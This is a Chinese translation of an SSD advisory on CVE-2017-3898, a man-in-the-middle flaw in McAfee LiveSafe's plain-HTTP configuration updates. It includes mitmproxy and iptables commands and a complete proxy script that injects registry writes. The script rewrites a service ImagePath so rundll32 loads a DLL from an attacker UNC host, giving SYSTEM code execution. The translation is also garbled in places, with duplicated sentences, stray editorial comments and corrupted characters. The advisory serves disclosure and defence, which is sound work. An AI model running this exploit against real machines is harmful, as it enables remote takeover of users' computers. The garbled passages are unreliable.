SSD 安全公告-McAfee LiveSafe MiTM 注册表 修改导致远程执行命令漏洞

漏洞概要
以下安全公告描述了在 McAfee LiveSafe (MLS) 中存在的一个远程命令执行漏洞,该漏洞影响了McAfee LiveSafe(MLS)16.0.3 之前全部版本. 之前全部版本. 漏洞允许网络攻击者通过篡改 HTTP 后端响应, 进而修改与 McAfee 更新相关的 Windows 注册表值.
McAfee Security Scan Plus 是一个免费的诊断工具,通过主动地检查计算机中最新的防病毒软件、防火墙和网络安全软件更新,确保用户免受威胁,同时还会扫᧿正在运行程序中的威胁.
漏洞ᨀ交者
一家独立的安全研究公司 Silent Signal 向 Beyond Security 的 SSD 报告了该漏洞。
厂商响应
厂商已经发布针对该漏洞的补丁地址。获取更多信息: https://service.mcafee.com/webcenter/portal/cp/home/articleview?articleId=TS102714
CVE: CVE-2017-3898

漏洞详细信息
网络攻击者可以在多个 McAfee 产品中实现远程代码执行。受影响的产品会通过明文 HTTP 通道从 http://COUNTRY.mcafee.com/apps/msc/webupdates/mscconfig.asp 中检索配置数据 (其中的“COUNTRY”修改为国家的两字母标识符,例如“uk”)
响应的正文包含 XML 格式数据,类似于下面的代码:

<webservice-response response-version="1.0" frequency="168"
verid="1#1316#15#0#2">
<update>
<reg key="HKLM\SOFTWARE\McAfee\MSC\Settings\InProductTransaction"
name="enable" type="REG_DWORD" value="1" obfuscate="0"/>
</update>
</webservice-response>

上述响应᧿述了在 webservice-response/update 路径下使用 reg 标签进行注册表修改的行为。
此请求和后续的更新会被自动触发。首次触发是在软件安装后由 webservice-request 节点的frequency(频率)属性指定的数小时后(默认为 168 分钟)。
McSvHost.exe 进程使用由 mcsvrcnt.exe 继承的 SYSTEM 权限运行从而实现注册表修改 应该是 McSvHost.exe 进程使用由 mcsvrcnt.exe进程继承而来的 SYSTEM 权限运行从而实现注册表修改
使用 SYSTEM 权限写入目标的注册表 认为 以SYSTEM 权限写入目标的注册表 更好
漏洞证明
攻击者可以利用此漏洞作为代理来拦截和修改明文 HTTP 请求和响应。由于目标软件对HTTPS 服务会进行证书验证,因此,让这些连接不经过修改即可通过非常重要。
在常规 HTTP 代理模式下,可以通过使用 mitmproxy 的–ignore 命令行参数来实现:

mitmproxy -s mcreggeli_inline.py --ignore '.*'

在透明代理模式情况下,不应ᨀ供上述参数:

 mitmproxy -s mreggeli_inline.py –T

对于透明代理模式,在基于 Debian 的 Linux 发行版上配置 NAT 和端口重定向(eth0 是目标可见的接口,eth1 连接到网络 ),可以使用以下命令:

iptables -t nat -A PREROUTING -i eth0 -p tcp \
--dport 80 -j REDIRECT --to 8080
iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE
sysctl net.ipv4.ip_forward=1

该脚本会在请求的 URL 中查找“mscconfig.asp”字符串。如果发现 XML 响应正文被反序列化,则会根据在脚本开头声明的 REG 变量,添加新的 reg 节点。REG 变量是一个字典列表,每个字典都包含以下键:

  • Key – 要修改的注册表项的名称(例如“HKLM\SYSTEM\CurrentControlSet\Services\mfevtp”,在 Python 中需要正确转义反斜杠)
  • Type – 要创建的值的类型(例如,字符串的“REG_SZ”)
  • Name – 要创建的值的名称
  • Value – 要创建的值

此漏洞利用还会将 frequency(频率)属性更改为 1,这样一来,就可以在更短的时间内(1小时之内)再次利用漏洞。插入新节点后,由此产生的对象被序列化,并被置于原始响应的正文的位置。
为了演示代码执行,我们覆写了受影响的 McAfee 产品(即 mfevtp – McAfee 进程验证服务)的一个服务条目: 将 HKLM\SYSTEM\CurrentControlSet\Services\mfevtp 键的 ImagePath 值替换为集成在 rundll32.exe 中的指向攻击者主机的 UNC 路径参数(在测试时,我们使用Metasploit 的 smb_delivery 模块ᨀ供的 payload ):

REG 变量被声明如下:

REG=[{"key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\mfevtp", "type":"REG_SZ","name":"ImagePath", "value":"c:\\windows\\system32\\rundll32.exe \\\\172.16.205.1\\pwn\\test.dll,0"},]

通过这种方式,重新启动计算机后, SYSTEM 级别的命令执行会被触发,且 McAfee 软件没有捕捉到此漏洞利用。
mcreggeli_inline.py

#!/usr/bin/env python3
#
# HTTP proxy mode:
#  mitmproxy -s mcreggeli_inline.py --ignore '.*'
#
# Transparent proxy mode:
#   mitmproxy -s mcreggeli_inline.py -T --host
#
from mitmproxy import ctx, http
from lxml import etree
REG=[{"key":"HKLM\\SYSTEM\\CurrentControlSet\\Services\\mfevtp","type":"REG_SZ","name":"ImagePath","value":"c:\\windows\\system32\\rundll32.exe \\\\172.16.205.1\\pwn\\test.dll,0"},]
def response(flow):
    if flow.request.scheme == "http" and "mscconfig.asp" in flow.request.url:
        try:
            oxml=etree.XML(flow.response.content)
            oxml.set("frequency","1")
            update=oxml.xpath("//webservice-response/update")[0]
            for r in REG:
                reg=etree.SubElement(update,"reg")
                reg.set("key", r["key"])
                reg.set("type", r["type"])
                reg.set("obfuscate", "0")
                reg.set("name", r["name"])
                reg.set("value", r["value"])
            #ctx.log(etree.tostring(oxml))
            flow.response.content=etree.tostring(oxml)
            ctx.log("[+] [MCREGGELI] Payload sent")
        except etree.XMLSyntaxError:
            ctx.log("[-] [MCREGGELI] XML deserialization error")